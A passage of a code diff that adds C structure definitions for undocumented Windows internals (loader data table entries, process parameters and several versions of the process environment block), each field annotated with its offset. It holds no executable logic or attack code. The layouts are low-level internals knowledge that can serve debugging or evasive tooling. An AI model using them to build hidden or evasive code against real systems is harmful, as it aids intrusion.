+ SINGLE_LIST_ENTRY CondenseLink; //0x40
+ ULONG PreorderNumber; //0x48
+} LDR_DDAG_NODE, * PLDR_DDAG_NODE;
+
+//0x28 bytes (sizeof)
+typedef struct _RTL_CRITICAL_SECTION
+{
+ struct _RTL_CRITICAL_SECTION_DEBUG* DebugInfo; //0x0
+ LONG LockCount; //0x8
+ LONG RecursionCount; //0xc
+ VOID* OwningThread; //0x10
+ VOID* LockSemaphore; //0x18
+ ULONGLONG SpinCount; //0x20
+} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;
+
+//0x10 bytes (sizeof)
+typedef struct _LEAP_SECOND_DATA
+{
+ UCHAR Enabled; //0x0
+ ULONG Count; //0x4
+ LARGE_INTEGER Data[1]; //0x8
+} LEAP_SECOND_DATA, * PLEAP_SECOND_DATA;
+
+//0x118 bytes (sizeof)
+typedef struct _LDR_DATA_TABLE_ENTRY_1507
+{
+ LIST_ENTRY InLoadOrderLinks; //0x0
+ LIST_ENTRY InMemoryOrderLinks; //0x10
+ LIST_ENTRY InInitializationOrderLinks; //0x20
+ PVOID DllBase; //0x30
+ PVOID EntryPoint; //0x38
+ ULONG SizeOfImage; //0x40
+ UNICODE_STRING FullDllName; //0x48
+ UNICODE_STRING BaseDllName; //0x58
+ union
+ {
+ UCHAR FlagGroup[4]; //0x68
+ ULONG Flags; //0x68
+ struct
+ {
+ ULONG PackagedBinary : 1; //0x68
+ ULONG MarkedForRemoval : 1; //0x68
+ ULONG ImageDll : 1; //0x68
+ ULONG LoadNotificationsSent : 1; //0x68
+ ULONG TelemetryEntryProcessed : 1; //0x68
+ ULONG ProcessStaticImport : 1; //0x68
+ ULONG InLegacyLists : 1; //0x68
+ ULONG InIndexes : 1; //0x68
+ ULONG ShimDll : 1; //0x68
+ ULONG InExceptionTable : 1; //0x68
+ ULONG ReservedFlags1 : 2; //0x68
+ ULONG LoadInProgress : 1; //0x68
+ ULONG LoadConfigProcessed : 1; //0x68
+ ULONG EntryProcessed : 1; //0x68
+ ULONG ProtectDelayLoad : 1; //0x68
+ ULONG ReservedFlags3 : 2; //0x68
+ ULONG DontCallForThreads : 1; //0x68
+ ULONG ProcessAttachCalled : 1; //0x68
+ ULONG ProcessAttachFailed : 1; //0x68
+ ULONG CorDeferredValidate : 1; //0x68
+ ULONG CorImage : 1; //0x68
+ ULONG DontRelocate : 1; //0x68
+ ULONG CorILOnly : 1; //0x68
+ ULONG ReservedFlags5 : 3; //0x68
+ ULONG Redirected : 1; //0x68
+ ULONG ReservedFlags6 : 2; //0x68
+ ULONG CompatDatabaseProcessed : 1; //0x68
+ };
+ };
+ USHORT ObsoleteLoadCount; //0x6c
+ USHORT TlsIndex; //0x6e
+ LIST_ENTRY HashLinks; //0x70
+ ULONG TimeDateStamp; //0x80
+ struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
+ PVOID Lock; //0x90
+ LDR_DDAG_NODE* DdagNode; //0x98
+ LIST_ENTRY NodeModuleLink; //0xa0
+ struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
+ PVOID ParentDllBase; //0xb8
+ PVOID SwitchBackContext; //0xc0
+ RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
+ RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
+ ULONGLONG OriginalBase; //0xf8
+ LARGE_INTEGER LoadTime; //0x100
+ ULONG BaseNameHashValue; //0x108
+ LDR_DLL_LOAD_REASON LoadReason; //0x10c
+ ULONG ImplicitPathOptions; //0x110
+ ULONG ReferenceCount; //0x114
+} LDR_DATA_TABLE_ENTRY_1507, * PLDR_DATA_TABLE_ENTRY_1507;
+
+//0x120 bytes (sizeof)
+typedef struct _LDR_DATA_TABLE_ENTRY_1607
+{
+ LIST_ENTRY InLoadOrderLinks; //0x0
+ LIST_ENTRY InMemoryOrderLinks; //0x10
+ LIST_ENTRY InInitializationOrderLinks; //0x20
+ PVOID DllBase; //0x30
+ PVOID EntryPoint; //0x38
+ ULONG SizeOfImage; //0x40
+ UNICODE_STRING FullDllName; //0x48
+ UNICODE_STRING BaseDllName; //0x58
+ union
+ {
+ UCHAR FlagGroup[4]; //0x68
+ ULONG Flags; //0x68
+ struct
+ {
+ ULONG PackagedBinary : 1; //0x68
+ ULONG MarkedForRemoval : 1; //0x68
+ ULONG ImageDll : 1; //0x68
+ ULONG LoadNotificationsSent : 1; //0x68
+ ULONG TelemetryEntryProcessed : 1; //0x68
+ ULONG ProcessStaticImport : 1; //0x68
+ ULONG InLegacyLists : 1; //0x68
+ ULONG InIndexes : 1; //0x68
+ ULONG ShimDll : 1; //0x68
+ ULONG InExceptionTable : 1; //0x68
+ ULONG ReservedFlags1 : 2; //0x68
+ ULONG LoadInProgress : 1; //0x68
+ ULONG LoadConfigProcessed : 1; //0x68
+ ULONG EntryProcessed : 1; //0x68
+ ULONG ProtectDelayLoad : 1; //0x68
+ ULONG ReservedFlags3 : 2; //0x68
+ ULONG DontCallForThreads : 1; //0x68
+ ULONG ProcessAttachCalled : 1; //0x68
+ ULONG ProcessAttachFailed : 1; //0x68
+ ULONG CorDeferredValidate : 1; //0x68
+ ULONG CorImage : 1; //0x68
+ ULONG DontRelocate : 1; //0x68
+ ULONG CorILOnly : 1; //0x68
+ ULONG ReservedFlags5 : 3; //0x68
+ ULONG Redirected : 1; //0x68
+ ULONG ReservedFlags6 : 2; //0x68
+ ULONG CompatDatabaseProcessed : 1; //0x68
+ };
+ };
+ USHORT ObsoleteLoadCount; //0x6c
+ USHORT TlsIndex; //0x6e
+ LIST_ENTRY HashLinks; //0x70
+ ULONG TimeDateStamp; //0x80
+ struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
+ PVOID Lock; //0x90
+ LDR_DDAG_NODE* DdagNode; //0x98
+ LIST_ENTRY NodeModuleLink; //0xa0
+ struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
+ PVOID ParentDllBase; //0xb8
+ PVOID SwitchBackContext; //0xc0
+ RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
+ RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
+ ULONGLONG OriginalBase; //0xf8
+ LARGE_INTEGER LoadTime; //0x100
+ ULONG BaseNameHashValue; //0x108
+ LDR_DLL_LOAD_REASON LoadReason; //0x10c
+ ULONG ImplicitPathOptions; //0x110
+ ULONG ReferenceCount; //0x114
+ ULONG DependentLoadFlags; //0x118
+} LDR_DATA_TABLE_ENTRY_1607, * PLDR_DATA_TABLE_ENTRY_1607;
+
+//0x138 bytes (sizeof)
+typedef struct _LDR_DATA_TABLE_ENTRY_WIN11
+{
+ LIST_ENTRY InLoadOrderLinks; //0x0
+ LIST_ENTRY InMemoryOrderLinks; //0x10
+ LIST_ENTRY InInitializationOrderLinks; //0x20
+ PVOID DllBase; //0x30
+ PVOID EntryPoint; //0x38
+ ULONG SizeOfImage; //0x40
+ UNICODE_STRING FullDllName; //0x48
+ UNICODE_STRING BaseDllName; //0x58
+ union
+ {
+ UCHAR FlagGroup[4]; //0x68
+ ULONG Flags; //0x68
+ struct
+ {
+ ULONG PackagedBinary : 1; //0x68
+ ULONG MarkedForRemoval : 1; //0x68
+ ULONG ImageDll : 1; //0x68
+ ULONG LoadNotificationsSent : 1; //0x68
+ ULONG TelemetryEntryProcessed : 1; //0x68
+ ULONG ProcessStaticImport : 1; //0x68
+ ULONG InLegacyLists : 1; //0x68
+ ULONG InIndexes : 1; //0x68
+ ULONG ShimDll : 1; //0x68
+ ULONG InExceptionTable : 1; //0x68
+ ULONG ReservedFlags1 : 2; //0x68
+ ULONG LoadInProgress : 1; //0x68
+ ULONG LoadConfigProcessed : 1; //0x68
+ ULONG EntryProcessed : 1; //0x68
+ ULONG ProtectDelayLoad : 1; //0x68
+ ULONG ReservedFlags3 : 2; //0x68
+ ULONG DontCallForThreads : 1; //0x68
+ ULONG ProcessAttachCalled : 1; //0x68
+ ULONG ProcessAttachFailed : 1; //0x68
+ ULONG CorDeferredValidate : 1; //0x68
+ ULONG CorImage : 1; //0x68
+ ULONG DontRelocate : 1; //0x68
+ ULONG CorILOnly : 1; //0x68
+ ULONG ChpeImage : 1; //0x68
+ ULONG ChpeEmulatorImage : 1; //0x68
+ ULONG ReservedFlags5 : 1; //0x68
+ ULONG Redirected : 1; //0x68
+ ULONG ReservedFlags6 : 2; //0x68
+ ULONG CompatDatabaseProcessed : 1; //0x68
+ };
+ };
+ USHORT ObsoleteLoadCount; //0x6c
+ USHORT TlsIndex; //0x6e
+ LIST_ENTRY HashLinks; //0x70
+ ULONG TimeDateStamp; //0x80
+ struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
+ PVOID Lock; //0x90
+ LDR_DDAG_NODE* DdagNode; //0x98
+ LIST_ENTRY NodeModuleLink; //0xa0
+ struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
+ PVOID ParentDllBase; //0xb8
+ PVOID SwitchBackContext; //0xc0
+ RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
+ RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
+ ULONGLONG OriginalBase; //0xf8
+ LARGE_INTEGER LoadTime; //0x100
+ ULONG BaseNameHashValue; //0x108
+ LDR_DLL_LOAD_REASON LoadReason; //0x10c
+ ULONG ImplicitPathOptions; //0x110
+ ULONG ReferenceCount; //0x114
+ ULONG DependentLoadFlags; //0x118
+ UCHAR SigningLevel; //0x11c
+ ULONG CheckSum; //0x120
+ PVOID ActivePatchImageBase; //0x128
+ LDR_HOT_PATCH_STATE HotPatchState; //0x130
+} LDR_DATA_TABLE_ENTRY_WIN11, * PLDR_DATA_TABLE_ENTRY_WIN11;
+
+//0x18 bytes (sizeof)
+typedef struct _CURDIR
+{
+ UNICODE_STRING DosPath; //0x0
+ VOID* Handle; //0x10
+} CURDIR, * PCURDIR;
+
+//0x18 bytes (sizeof)
+typedef struct _RTL_DRIVE_LETTER_CURDIR
+{
+ USHORT Flags; //0x0
+ USHORT Length; //0x2
+ ULONG TimeStamp; //0x4
+ STRING DosPath; //0x8
+} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
+
+//0x410 bytes (sizeof)
+typedef struct _RTL_USER_PROCESS_PARAMETERS_1507
+{
+ ULONG MaximumLength; //0x0
+ ULONG Length; //0x4
+ ULONG Flags; //0x8
+ ULONG DebugFlags; //0xc
+ VOID* ConsoleHandle; //0x10
+ ULONG ConsoleFlags; //0x18
+ VOID* StandardInput; //0x20
+ VOID* StandardOutput; //0x28
+ VOID* StandardError; //0x30
+ CURDIR CurrentDirectory; //0x38
+ UNICODE_STRING DllPath; //0x50
+ UNICODE_STRING ImagePathName; //0x60
+ UNICODE_STRING CommandLine; //0x70
+ VOID* Environment; //0x80
+ ULONG StartingX; //0x88
+ ULONG StartingY; //0x8c
+ ULONG CountX; //0x90
+ ULONG CountY; //0x94
+ ULONG CountCharsX; //0x98
+ ULONG CountCharsY; //0x9c
+ ULONG FillAttribute; //0xa0
+ ULONG WindowFlags; //0xa4
+ ULONG ShowWindowFlags; //0xa8
+ UNICODE_STRING WindowTitle; //0xb0
+ UNICODE_STRING DesktopInfo; //0xc0
+ UNICODE_STRING ShellInfo; //0xd0
+ UNICODE_STRING RuntimeData; //0xe0
+ RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0
+ ULONGLONG EnvironmentSize; //0x3f0
+ ULONGLONG EnvironmentVersion; //0x3f8
+ VOID* PackageDependencyData; //0x400
+ ULONG ProcessGroupId; //0x408
+ ULONG LoaderThreads; //0x40c
+} RTL_USER_PROCESS_PARAMETERS_1507, * PRTL_USER_PROCESS_PARAMETERS_1507;
+
+//0x420 bytes (sizeof)
+typedef struct _RTL_USER_PROCESS_PARAMETERS_1809
+{
+ ULONG MaximumLength; //0x0
+ ULONG Length; //0x4
+ ULONG Flags; //0x8
+ ULONG DebugFlags; //0xc
+ VOID* ConsoleHandle; //0x10
+ ULONG ConsoleFlags; //0x18
+ VOID* StandardInput; //0x20
+ VOID* StandardOutput; //0x28
+ VOID* StandardError; //0x30
+ CURDIR CurrentDirectory; //0x38
+ UNICODE_STRING DllPath; //0x50
+ UNICODE_STRING ImagePathName; //0x60
+ UNICODE_STRING CommandLine; //0x70
+ VOID* Environment; //0x80
+ ULONG StartingX; //0x88
+ ULONG StartingY; //0x8c
+ ULONG CountX; //0x90
+ ULONG CountY; //0x94
+ ULONG CountCharsX; //0x98
+ ULONG CountCharsY; //0x9c
+ ULONG FillAttribute; //0xa0
+ ULONG WindowFlags; //0xa4
+ ULONG ShowWindowFlags; //0xa8
+ UNICODE_STRING WindowTitle; //0xb0
+ UNICODE_STRING DesktopInfo; //0xc0
+ UNICODE_STRING ShellInfo; //0xd0
+ UNICODE_STRING RuntimeData; //0xe0
+ RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0
+ ULONGLONG EnvironmentSize; //0x3f0
+ ULONGLONG EnvironmentVersion; //0x3f8
+ VOID* PackageDependencyData; //0x400
+ ULONG ProcessGroupId; //0x408
+ ULONG LoaderThreads; //0x40c
+ UNICODE_STRING RedirectionDllName; //0x410
+} RTL_USER_PROCESS_PARAMETERS_1809, * PRTL_USER_PROCESS_PARAMETERS_1809;
+
+//0x440 bytes (sizeof)
+typedef struct _RTL_USER_PROCESS_PARAMETERS_1903
+{
+ ULONG MaximumLength; //0x0
+ ULONG Length; //0x4
+ ULONG Flags; //0x8
+ ULONG DebugFlags; //0xc
+ VOID* ConsoleHandle; //0x10
+ ULONG ConsoleFlags; //0x18
+ VOID* StandardInput; //0x20
+ VOID* StandardOutput; //0x28
+ VOID* StandardError; //0x30
+ CURDIR CurrentDirectory; //0x38
+ UNICODE_STRING DllPath; //0x50
+ UNICODE_STRING ImagePathName; //0x60
+ UNICODE_STRING CommandLine; //0x70
+ VOID* Environment; //0x80
+ ULONG StartingX; //0x88
+ ULONG StartingY; //0x8c
+ ULONG CountX; //0x90
+ ULONG CountY; //0x94
+ ULONG CountCharsX; //0x98
+ ULONG CountCharsY; //0x9c
+ ULONG FillAttribute; //0xa0
+ ULONG WindowFlags; //0xa4
+ ULONG ShowWindowFlags; //0xa8
+ UNICODE_STRING WindowTitle; //0xb0
+ UNICODE_STRING DesktopInfo; //0xc0
+ UNICODE_STRING ShellInfo; //0xd0
+ UNICODE_STRING RuntimeData; //0xe0
+ RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0
+ ULONGLONG EnvironmentSize; //0x3f0
+ ULONGLONG EnvironmentVersion; //0x3f8
+ VOID* PackageDependencyData; //0x400
+ ULONG ProcessGroupId; //0x408
+ ULONG LoaderThreads; //0x40c
+ UNICODE_STRING RedirectionDllName; //0x410
+ UNICODE_STRING HeapPartitionName; //0x420
+ ULONGLONG* DefaultThreadpoolCpuSetMasks; //0x430
+ ULONG DefaultThreadpoolCpuSetMaskCount; //0x438
+ ULONG DefaultThreadpoolThreadMaximum; //0x43c
+} RTL_USER_PROCESS_PARAMETERS_1903, * PRTL_USER_PROCESS_PARAMETERS_1903;
+
+//0x388 bytes (sizeof)
+typedef struct _PEB_1507
+{
+ UCHAR InheritedAddressSpace; //0x0
+ UCHAR ReadImageFileExecOptions; //0x1
+ UCHAR BeingDebugged; //0x2
+ union
+ {
+ UCHAR BitField; //0x3
+ struct
+ {
+ UCHAR ImageUsesLargePages : 1; //0x3
+ UCHAR IsProtectedProcess : 1; //0x3
+ UCHAR IsImageDynamicallyRelocated : 1; //0x3
+ UCHAR SkipPatchingUser32Forwarders : 1; //0x3
+ UCHAR IsPackagedProcess : 1; //0x3
+ UCHAR IsAppContainer : 1; //0x3
+ UCHAR IsProtectedProcessLight : 1; //0x3
+ UCHAR SpareBits : 1; //0x3
+ };
+ };
+ UCHAR Padding0[4]; //0x4
+ PVOID Mutant; //0x8
+ PVOID ImageBaseAddress; //0x10
+ PEB_LDR_DATA* Ldr; //0x18
+ RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
+ PVOID SubSystemData; //0x28
+ PVOID ProcessHeap; //0x30
+ RTL_CRITICAL_SECTION* FastPebLock; //0x38
+ PVOID AtlThunkSListPtr; //0x40
+ PVOID IFEOKey; //0x48
+ union
+ {
+ ULONG CrossProcessFlags; //0x50
+ struct
+ {
+ ULONG ProcessInJob : 1; //0x50
+ ULONG ProcessInitializing : 1; //0x50
+ ULONG ProcessUsingVEH : 1; //0x50
+ ULONG ProcessUsingVCH : 1; //0x50
+ ULONG ProcessUsingFTH : 1; //0x50
+ ULONG ReservedBits0 : 27; //0x50
+ };
+ };
+ UCHAR Padding1[4]; //0x54
+ union
+ {
+ PVOID KernelCallbackTable; //0x58
+ PVOID UserSharedInfoPtr; //0x58
+ };
+ ULONG SystemReserved[1]; //0x60
+ ULONG AtlThunkSListPtr32; //0x64
+ PVOID ApiSetMap; //0x68
+ ULONG TlsExpansionCounter; //0x70
+ UCHAR Padding2[4]; //0x74
+ PVOID TlsBitmap; //0x78
+ ULONG TlsBitmapBits[2]; //0x80
+ PVOID ReadOnlySharedMemoryBase; //0x88
+ PVOID SparePvoid0; //0x90
+ VOID** ReadOnlyStaticServerData; //0x98
+ PVOID AnsiCodePageData; //0xa0
+ PVOID OemCodePageData; //0xa8
+ PVOID UnicodeCaseTableData; //0xb0
+ ULONG NumberOfProcessors; //0xb8
+ ULONG NtGlobalFlag; //0xbc
+ LARGE_INTEGER CriticalSectionTimeout; //0xc0
+ ULONGLONG HeapSegmentReserve; //0xc8
+ ULONGLONG HeapSegmentCommit; //0xd0
+ ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
+ ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
+ ULONG NumberOfHeaps; //0xe8
+ ULONG MaximumNumberOfHeaps; //0xec
+ VOID** ProcessHeaps; //0xf0
+ PVOID GdiSharedHandleTable; //0xf8
+ PVOID ProcessStarterHelper; //0x100
+ ULONG GdiDCAttributeList; //0x108
+ UCHAR Padding3[4]; //0x10c
+ RTL_CRITICAL_SECTION* LoaderLock; //0x110
+ ULONG OSMajorVersion; //0x118
+ ULONG OSMinorVersion; //0x11c
+ USHORT OSBuildNumber; //0x120
+ USHORT OSCSDVersion; //0x122
+ ULONG OSPlatformId; //0x124
+ ULONG ImageSubsystem; //0x128
+ ULONG ImageSubsystemMajorVersion; //0x12c
+ ULONG ImageSubsystemMinorVersion; //0x130
+ UCHAR Padding4[4]; //0x134
+ ULONGLONG ActiveProcessAffinityMask; //0x138
+ ULONG GdiHandleBuffer[60]; //0x140
+ VOID(*PostProcessInitRoutine)(); //0x230
+ PVOID TlsExpansionBitmap; //0x238
+ ULONG TlsExpansionBitmapBits[32]; //0x240
+ ULONG SessionId; //0x2c0
+ UCHAR Padding5[4]; //0x2c4
+ ULARGE_INTEGER AppCompatFlags; //0x2c8
+ ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
+ PVOID pShimData; //0x2d8
+ PVOID AppCompatInfo; //0x2e0
+ UNICODE_STRING CSDVersion; //0x2e8
+ struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
+ struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
+ struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
+ struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
+ ULONGLONG MinimumStackCommit; //0x318
+ struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
+ LIST_ENTRY FlsListHead; //0x328
+ PVOID FlsBitmap; //0x338
+ ULONG FlsBitmapBits[4]; //0x340
+ ULONG FlsHighIndex; //0x350
+ PVOID WerRegistrationData; //0x358
+ PVOID WerShipAssertPtr; //0x360
+ PVOID pUnused; //0x368
+ PVOID pImageHeaderHash; //0x370
+ union
+ {
+ ULONG TracingFlags; //0x378
+ struct
+ {
+ ULONG HeapTracingEnabled : 1; //0x378
+ ULONG CritSecTracingEnabled : 1; //0x378
+ ULONG LibLoaderTracingEnabled : 1; //0x378
+ ULONG SpareTracingBits : 29; //0x378
+ };
+ };
+ UCHAR Padding6[4]; //0x37c
+ ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
+} PEB_1507, * PPEB_1507;
+
+//0x7a0 bytes (sizeof)
+typedef struct _PEB_1511
+{
+ UCHAR InheritedAddressSpace; //0x0
+ UCHAR ReadImageFileExecOptions; //0x1
+ UCHAR BeingDebugged; //0x2
+ union
+ {
+ UCHAR BitField; //0x3
+ struct
+ {
+ UCHAR ImageUsesLargePages : 1; //0x3
+ UCHAR IsProtectedProcess : 1; //0x3
+ UCHAR IsImageDynamicallyRelocated : 1; //0x3
+ UCHAR SkipPatchingUser32Forwarders : 1; //0x3
+ UCHAR IsPackagedProcess : 1; //0x3
+ UCHAR IsAppContainer : 1; //0x3
+ UCHAR IsProtectedProcessLight : 1; //0x3
+ UCHAR SpareBits : 1; //0x3
+ };
+ };
+ UCHAR Padding0[4]; //0x4
+ VOID* Mutant; //0x8
+ VOID* ImageBaseAddress; //0x10
+ PEB_LDR_DATA* Ldr; //0x18
+ RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
+ VOID* SubSystemData; //0x28
+ VOID* ProcessHeap; //0x30
+ RTL_CRITICAL_SECTION* FastPebLock; //0x38
+ VOID* AtlThunkSListPtr; //0x40
+ VOID* IFEOKey; //0x48
+ union
+ {
+ ULONG CrossProcessFlags; //0x50
+ struct
+ {
+ ULONG ProcessInJob : 1; //0x50
+ ULONG ProcessInitializing : 1; //0x50
+ ULONG ProcessUsingVEH : 1; //0x50
+ ULONG ProcessUsingVCH : 1; //0x50
+ ULONG ProcessUsingFTH : 1; //0x50
+ ULONG ReservedBits0 : 27; //0x50
+ };
+ };
+ UCHAR Padding1[4]; //0x54
+ union
+ {
+ VOID* KernelCallbackTable; //0x58
+ VOID* UserSharedInfoPtr; //0x58
+ };
+ ULONG SystemReserved[1]; //0x60
+ ULONG AtlThunkSListPtr32; //0x64
+ VOID* ApiSetMap; //0x68
+ ULONG TlsExpansionCounter; //0x70
+ UCHAR Padding2[4]; //0x74
+ VOID* TlsBitmap; //0x78
+ ULONG TlsBitmapBits[2]; //0x80
+ VOID* ReadOnlySharedMemoryBase; //0x88
+ VOID* SparePvoid0; //0x90
+ VOID** ReadOnlyStaticServerData; //0x98
+ VOID* AnsiCodePageData; //0xa0
+ VOID* OemCodePageData; //0xa8
+ VOID* UnicodeCaseTableData; //0xb0
+ ULONG NumberOfProcessors; //0xb8
+ ULONG NtGlobalFlag; //0xbc
+ LARGE_INTEGER CriticalSectionTimeout; //0xc0
+ ULONGLONG HeapSegmentReserve; //0xc8
+ ULONGLONG HeapSegmentCommit; //0xd0
+ ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
+ ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
+ ULONG NumberOfHeaps; //0xe8
+ ULONG MaximumNumberOfHeaps; //0xec
+ VOID** ProcessHeaps; //0xf0
+ VOID* GdiSharedHandleTable; //0xf8
+ VOID* ProcessStarterHelper; //0x100
+ ULONG GdiDCAttributeList; //0x108
+ UCHAR Padding3[4]; //0x10c
+ RTL_CRITICAL_SECTION* LoaderLock; //0x110
+ ULONG OSMajorVersion; //0x118
+ ULONG OSMinorVersion; //0x11c
+ USHORT OSBuildNumber; //0x120
+ USHORT OSCSDVersion; //0x122
+ ULONG OSPlatformId; //0x124
+ ULONG ImageSubsystem; //0x128
+ ULONG ImageSubsystemMajorVersion; //0x12c
+ ULONG ImageSubsystemMinorVersion; //0x130
+ UCHAR Padding4[4]; //0x134
+ ULONGLONG ActiveProcessAffinityMask; //0x138
+ ULONG GdiHandleBuffer[60]; //0x140
+ VOID(*PostProcessInitRoutine)(); //0x230
+ VOID* TlsExpansionBitmap; //0x238
+ ULONG TlsExpansionBitmapBits[32]; //0x240
+ ULONG SessionId; //0x2c0
+ UCHAR Padding5[4]; //0x2c4
+ ULARGE_INTEGER AppCompatFlags; //0x2c8
+ ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
+ VOID* pShimData; //0x2d8
+ VOID* AppCompatInfo; //0x2e0
+ UNICODE_STRING CSDVersion; //0x2e8
+ struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
+ struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
+ struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
+ struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
+ ULONGLONG MinimumStackCommit; //0x318
+ struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
+ LIST_ENTRY FlsListHead; //0x328
+ VOID* FlsBitmap; //0x338
+ ULONG FlsBitmapBits[4]; //0x340
+ ULONG FlsHighIndex; //0x350
+ VOID* WerRegistrationData; //0x358
+ VOID* WerShipAssertPtr; //0x360
+ VOID* pUnused; //0x368
+ VOID* pImageHeaderHash; //0x370
+ union
+ {
+ ULONG TracingFlags; //0x378
+ struct
+ {
+ ULONG HeapTracingEnabled : 1; //0x378
+ ULONG CritSecTracingEnabled : 1; //0x378
+ ULONG LibLoaderTracingEnabled : 1; //0x378
+ ULONG SpareTracingBits : 29; //0x378
+ };
+ };
+ UCHAR Padding6[4]; //0x37c
+ ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
+ ULONGLONG TppWorkerpListLock; //0x388
+ LIST_ENTRY TppWorkerpList; //0x390
+ VOID* WaitOnAddressHashTable[128]; //0x3a0
+} PEB_1511, * PPEB_1511;
+
+//0x7b0 bytes (sizeof)
+typedef struct _PEB_1709
+{
+ UCHAR InheritedAddressSpace; //0x0
+ UCHAR ReadImageFileExecOptions; //0x1
+ UCHAR BeingDebugged; //0x2
+ union
+ {
+ UCHAR BitField; //0x3
+ struct
+ {
+ UCHAR ImageUsesLargePages : 1; //0x3
+ UCHAR IsProtectedProcess : 1; //0x3
+ UCHAR IsImageDynamicallyRelocated : 1; //0x3
+ UCHAR SkipPatchingUser32Forwarders : 1; //0x3
+ UCHAR IsPackagedProcess : 1; //0x3
+ UCHAR IsAppContainer : 1; //0x3
+ UCHAR IsProtectedProcessLight : 1; //0x3
+ UCHAR IsLongPathAwareProcess : 1; //0x3
+ };
+ };
+ UCHAR Padding0[4]; //0x4
+ VOID* Mutant; //0x8
+ VOID* ImageBaseAddress; //0x10
+ PEB_LDR_DATA* Ldr; //0x18
+ RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
+ VOID* SubSystemData; //0x28
+ VOID* ProcessHeap; //0x30
+ RTL_CRITICAL_SECTION* FastPebLock; //0x38
+ SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
+ VOID* IFEOKey; //0x48
+ union
+ {
+ ULONG CrossProcessFlags; //0x50
+ struct
+ {
+ ULONG ProcessInJob : 1; //0x50
+ ULONG ProcessInitializing : 1; //0x50
+ ULONG ProcessUsingVEH : 1; //0x50
+ ULONG ProcessUsingVCH : 1; //0x50
+ ULONG ProcessUsingFTH : 1; //0x50
+ ULONG ProcessPreviouslyThrottled : 1; //0x50
+ ULONG ProcessCurrentlyThrottled : 1; //0x50
+ ULONG ReservedBits0 : 25; //0x50
+ };
+ };
+ UCHAR Padding1[4]; //0x54
+ union
+ {
+ VOID* KernelCallbackTable; //0x58
+ VOID* UserSharedInfoPtr; //0x58
+ };
+ ULONG SystemReserved; //0x60
+ ULONG AtlThunkSListPtr32; //0x64
+ VOID* ApiSetMap; //0x68
+ ULONG TlsExpansionCounter; //0x70
+ UCHAR Padding2[4]; //0x74
+ VOID* TlsBitmap; //0x78
+ ULONG TlsBitmapBits[2]; //0x80
+ VOID* ReadOnlySharedMemoryBase; //0x88
+ VOID* SharedData; //0x90
+ VOID** ReadOnlyStaticServerData; //0x98
+ VOID* AnsiCodePageData; //0xa0
+ VOID* OemCodePageData; //0xa8
+ VOID* UnicodeCaseTableData; //0xb0
+ ULONG NumberOfProcessors; //0xb8
+ ULONG NtGlobalFlag; //0xbc
+ LARGE_INTEGER CriticalSectionTimeout; //0xc0
+ ULONGLONG HeapSegmentReserve; //0xc8
+ ULONGLONG HeapSegmentCommit; //0xd0
+ ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
+ ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
+ ULONG NumberOfHeaps; //0xe8
+ ULONG MaximumNumberOfHeaps; //0xec
+ VOID** ProcessHeaps; //0xf0
+ VOID* GdiSharedHandleTable; //0xf8
+ VOID* ProcessStarterHelper; //0x100
+ ULONG GdiDCAttributeList; //0x108
+ UCHAR Padding3[4]; //0x10c
+ RTL_CRITICAL_SECTION* LoaderLock; //0x110
+ ULONG OSMajorVersion; //0x118
+ ULONG OSMinorVersion; //0x11c
+ USHORT OSBuildNumber; //0x120
+ USHORT OSCSDVersion; //0x122
+ ULONG OSPlatformId; //0x124
+ ULONG ImageSubsystem; //0x128
+ ULONG ImageSubsystemMajorVersion; //0x12c
+ ULONG ImageSubsystemMinorVersion; //0x130
+ UCHAR Padding4[4]; //0x134
+ ULONGLONG ActiveProcessAffinityMask; //0x138
+ ULONG GdiHandleBuffer[60]; //0x140
+ VOID(*PostProcessInitRoutine)(); //0x230
+ VOID* TlsExpansionBitmap; //0x238
+ ULONG TlsExpansionBitmapBits[32]; //0x240
+ ULONG SessionId; //0x2c0
+ UCHAR Padding5[4]; //0x2c4
+ ULARGE_INTEGER AppCompatFlags; //0x2c8
+ ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
+ VOID* pShimData; //0x2d8
+ VOID* AppCompatInfo; //0x2e0
+ UNICODE_STRING CSDVersion; //0x2e8
